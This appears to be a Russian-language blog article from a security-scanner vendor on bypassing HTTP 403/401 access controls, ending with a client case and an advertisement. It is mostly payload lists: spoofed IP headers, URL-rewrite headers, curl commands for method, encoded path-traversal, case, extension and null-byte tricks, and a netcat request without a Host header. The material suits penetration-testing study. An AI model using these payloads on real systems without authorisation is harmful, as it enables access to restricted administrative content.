Методы и техники обхода Forbidden
Один из самых простых способов закрыть доступ к контенту - это использование HTTP статусов 4XX, которые являются индикатором ошибки на стороне клиента выполнившего запрос. Реализовать их можно самыми разнообразными способами, такими как конфигурация веб-сервера, прикладная логика приложения или даже на уровне CGI скрипта. Но очень часто разработчики могут использовать усложненную логику для гибкого доступа клиентов к закрытому контенту.

Перспектива атакующего
Рассмотрим перспективу атакующего который осуществляет анализ веб-приложения и сталкивается со страницами или запросами на которые веб-сервер возвращает 4XX ошибки (в основном 401 и 403). Один из способов сделать гибкий доступ к запрещенному контенту - проверять IP адрес клиента.
Иногда это делают через заголовки, среди таких встречаются следующие:
Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1Для подбора нужного заголовка который потенциально использовался для разграничения доступа атакующему достаточно просто осуществить фаззинг по заголовкам и попытаться подобрать заложенный разработчиком заголовок для проверки клиентского IP.
Один из других способов ограничить доступ - проверять другие заголовки или использовать особенности веб-серверов, такие как перезапись оригинального URL или по заголовку Referer:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: http://trusted.com/adminДругой распространенной мисконфигурацией является проверка по конкретному методу, где в прикладной логике приложения может отсутствовать или работать некорректно обработка HTTP метода:
curl -X OPTIONS --path-as-is "https://example.com/private/"
curl -X GET --path-as-is "https://example.com/private/"
curl -X POST --path-as-is "https://example.com/private/"
curl -X PUT --path-as-is "https://example.com/private/"
curl -X DELETE --path-as-is "https://example.com/private/"
curl -X PATCH --path-as-is "https://example.com/private/"
curl -X HEAD --path-as-is "https://example.com/private/"
curl -X TRACE --path-as-is "https://example.com/private/"
curl -X CONNECT --path-as-is "https://example.com/private/"
curl -X PROPFIND --path-as-is "https://example.com/private/"
curl -X MKCOL --path-as-is "https://example.com/private/"
curl -X COPY --path-as-is "https://example.com/private/"
curl -X MOVE --path-as-is "https://example.com/private/"
curl -X LOCK --path-as-is "https://example.com/private/"
curl -X UNLOCK --path-as-is "https://example.com/private/"
curl -X SEARCH --path-as-is "https://example.com/private/"И заголовок для перезаписи метода:
X-HTTP-Method-Override: PUTСреди распространенных методов обхода можно применять классическую Path Traversal атаку:
curl -g --path-as-is "https://example.com/%2e%2e/admin" # ../
curl -g --path-as-is "https://example.com/%2e%2e%2fadmin" # ../admin
curl -g --path-as-is "https://example.com/%2e%2e%2f%61dmin" # ../admin (кодировка для 'a' символа)
curl -g --path-as-is "https://example.com/%2e%2e/%2e%2e/admin" # ../../admin
curl -g --path-as-is "https://example.com/%2e%2e/%2fadmin" # ..//admin
curl -g --path-as-is "https://example.com/%20/admin" # space/admin
curl -g --path-as-is "https://example.com/%2e%2fadmin" # ./admin
curl -g --path-as-is "https://example.com/admin%2f" # admin/
curl -g --path-as-is "https://example.com/admin%252f" # admin%2f (двойная кодировка)
curl -g --path-as-is "https://example.com/admin%2e%2e%2f" # admin../Если разработчик воспользовался недостаточно хорошим регулярным выражением и проверяет только строчную версию URL, можно попробовать изменить регистр:
curl https://example.com/admin
curl https://example.com/Admin
curl https://example.com/ADMIN
curl https://example.com/aDmiN
curl https://example.com/adMin
curl https://example.com/AdMiN
curl https://example.com/aDMIN
curl https://example.com/ADMInИли добавить альтернативные расширения которые могут пройти проверку на уровне веб-сервера и прикладная логика приложения уже может просто проигнорировать их:
curl https://example.com/admin.json
curl https://example.com/admin.css
curl https://example.com/admin.js
curl https://example.com/admin.html
curl https://example.com/admin.php
curl https://example.com/admin.aspx
curl https://example.com/admin.xml
curl https://example.com/admin.txt
curl https://example.com/admin.bak
curl https://example.com/admin.old
curl https://example.com/admin.zip
curl https://example.com/admin.tar.gz
# С использованием нуль-байта
curl --path-as-is "https://example.com/admin.php%00.html"
curl --path-as-is "https://example.com/config.php%00.json"
curl --path-as-is "https://example.com/login.php%00?redirect=admin"
curl --path-as-is "https://example.com/user/profile%00.php"
curl --path-as-is "https://example.com/images/logo%00.jpg"
curl --path-as-is "https://example.com/admin%00.php"
curl --path-as-is "https://example.com/secret%00file.txt"
curl --path-as-is "https://example.com/uploads/file%00.zip"Иногда разработчики могут использовать скрытые параметры для ограниченного доступа к страницам, здесь могут помочь такие инструменты как Param-Miner и подобные:
curl "https://example.com/admin?unused_param=1"
curl "https://example.com/admin?redirect=allowed"
curl "https://example.com/admin?debug=true"
curl "https://example.com/admin?access=granted"
curl "https://example.com/admin?token=123"Немного реже встречаются обходы с использованием HTTP Version Downgrade:
curl -http1.0 https://example.com/admin
curl -http1.0 https://example.com/secret
curl -http1.0 https://example.com/config
curl -http1.0 https://example.com/dashboardИли обращение без Host заголовка (BurpSuite, Zap, Netcat):
printf "GET /admin HTTP/1.1\r\n\r\n" | nc example.com 80Если в какой-то момент конфигурация не работала, можно посмотреть доступность файла на основе исторических данных:
Реальный кейс Метаскан
В процессе анализа инфраструктуры заказчика выявили необычное поведение сервера, который блокировал доступ к странице на основе заголовка User-Agent:

По результатам фаззинга выявили необычное поведение при котором любое упоминание стандартных браузеров, таких как Firefox, Safari, Opera, Chrome, мобильных браузеров на Android, iPhone и других клиентов сервер возвращал 403, но при использовании даже простого curl User-Agent проверка проходила и был получен доступ к содержимому хранилища S3:

Помимо обхода с помощью User-Agent, по результатам сканирований выявляли большое количество мисконфигураций связанных с использованием проверки по строчной версии URL, когда как доступ с изменением регистра оставался.
Заключение
Логика проверки доступа может быть самой разнообразной в зависимости от выбранной реализации разработчиком. Поэтому несмотря на видимую недоступность ресурса, всегда стоит проверять защиту у которой может скрываться ахиллесова пята.
С экспертным сопровождением в Метаскан вы можете быть уверены в отсутствии подобных брешей в защите чувствительных и административных точек приложения, а наш отдел исследований и разработки постоянно работает над улучшением автоматических проверок сканера.